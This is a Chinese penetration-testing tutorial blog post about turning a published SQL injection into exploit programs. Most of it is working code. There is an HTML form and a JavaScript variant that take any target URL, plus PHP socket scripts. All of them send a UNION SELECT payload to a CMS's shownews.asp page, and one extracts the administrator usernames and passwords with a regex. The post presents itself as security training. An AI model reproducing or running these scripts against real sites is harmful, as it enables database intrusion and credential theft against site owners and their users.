1. 首页
  2. 渗透测试

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

1、简介


在https://www.exploit-db.com/ 漏洞库里面 每天都可以很多新的漏洞发布。可是新的漏洞很多漏洞发布者 ,都是只给代码漏洞部分,更多的是没有详细的分析。更别说是漏洞利用程序了。
掌握漏洞编写的技能,随心所欲地编写漏洞利用程序,不仅能简化测试过程,而且可以让漏洞程序多种多样满足我们的需要。


一般的们多数接触的是WEB安全漏洞 (Web Application Exploits)这类较多。一般只需理解和掌握http协议即可。
简单的html基础也可以编写EXP了。下面我来为大家编写一个简单的exp。
既然是要写exp 首先要发现一个漏洞吧。漏洞哪里找。各大漏洞发布站。
http://www.exploit-db.com/ https://www.seebug.org http://0day5.com


2、编写简单的exp


例如我们知道某个CMS有个注入漏洞。漏洞发布者提供了利用代码如下:
http://127.0.0.1:99/shownews.asp?id=110%20union%20select%201,2,username%2bCHR(124)%2bpassword,4,5,6,7,8,9,10%20from%20admin
只要把这段代码放在URL里面测试就可以得到网站管理员的帐号和密码。
根据这段利用代码用html写一个简单的exp利用程序。

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

[php]
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>简单的html exp编写</title>
</head>
<body>

<form method="get" action="http://127.0.0.1:99/shownews.asp">
<input type="hidden" name="id" value="110 union select 1,2,username+CHR(124)+password,4,5,6,7,8,9,10 from admin">
<input type="submit" value="利用" />
</form> </body>
</html>
[/php]

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

[php]
<!DOCTYPE html>
<html>
<head>
<script>
function exploit() {
var x= document.getElementById("url").value
var c = document.getElementById("myform").action=x+"/shownews.asp"
if(x){

document.getElementById(‘myform’).submit()

}else{
alert("填写网址")
}

}

</script>

<meta charset="UTF-8">
<title></title>
</head>
<body>
<form id="myform">
<input type="text" id="url" size="50px">
<input type="hidden" name="id" value="110 union select 1,2,username+CHR(124)+password,4,5,6,7,8,9,10 from admin">
<input type="button" value="利用" onclick="exploit()"/>
</form>
</body>
</html>
[/php]

可以看到通过js和html的结合 一个简单的html exp就编写出来了。

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

3、用php编写exp
通过burpsuite 抓包工具 抓到的这些包,里面就是一些http信息。在用php编写exp的时候这些包的信息就可以拿过来用了。

[php]
<?php
$site="192.168.0.117";
$payload="shownews.asp?id=110+union+select+1%2C2%2Cusername%2BCHR%28124%29%2Bpassword%2C4%2C5%2C6%2C7%2C8%2C9%2C10+from+admin";

$fp = fsockopen($site, 99, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /{$payload} HTTP/1.1\r\n";
$out .= "Host:{$site} \r\n";
$out .= "Connection: keep-alive\r\n\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

[/php]

fsockopen是用来做发包的
$fp = fsockopen($site, 99, $errno, $errstr, 30); 99 就是目标的端口

php exp 漏洞利用程序。php.exe exp.php 这样会在cmd命令下获取很多网页源码

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

D:\phpStudy\php\php-5.2.17>php exp01.php >c:/1.txt
运行exp的时候最好能直接输出所需的内容。

将exp.php再进行数据截取。修改一些代码即可。

payload漏洞利用代码也要进行修改 方面进行数据截取,方法是用php正则函数
preg_match() 正则 ~xxxxxxx~ 这个部分内容。

http://192.168.0.117:99/shownews.asp?id=-110%20union%20select%201%2c2%2cchr(126)%2busername%2bchr(124)%2bpassword%2bchr(126)%2c4%2c5%2c6%2c7%2c8%2c9%2c10%20from%20admin

[php]
<?php
$site="192.168.0.117";

$payload="shownews.asp?id=-110+union+select+1%2c2%2cchr(126)%2busername%2bchr(124)%2bpassword%2bchr(126)%2c4%2c5%2c6%2c7%2c8%2c9%2c10+from+admin";

$fp = fsockopen($site, 99, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET /{$payload} HTTP/1.1\r\n";
$out .= "Host:{$site} \r\n";
$out .= "Connection: keep-alive\r\n\r\n";
$out .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out .="Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$html.= fgets($fp, 128);

}
fclose($fp);
}

preg_match("/~(.*?)~/", $html,$hash);
if ($hash){

echo $hash[1];
}else{
echo "null";
}

?>

[/php]

在php环境下运行如图得到帐号和密码。

[原创]WEB安全第七章exp编写篇01 注入exp的简单编写

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/511.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息